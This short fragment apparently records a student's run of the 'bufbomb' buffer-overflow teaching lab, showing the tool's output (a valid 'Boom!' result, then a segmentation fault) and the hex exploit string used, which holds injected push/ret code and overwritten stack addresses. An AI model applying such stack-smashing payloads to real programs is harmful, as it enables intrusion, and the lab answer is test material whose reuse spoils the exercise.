nbufbomb gave the following result: Team: XXX Cookie: 0x715f46d0 Boom!: getbuf returned 0x80489d5 VALID Ouch!: You caused a segmentation fault! Better luck next time It was tested with string: 68 D5 89 04 08 68 E1 89 04 08 C3 00 00 B2 FF BF EC B1 FF BF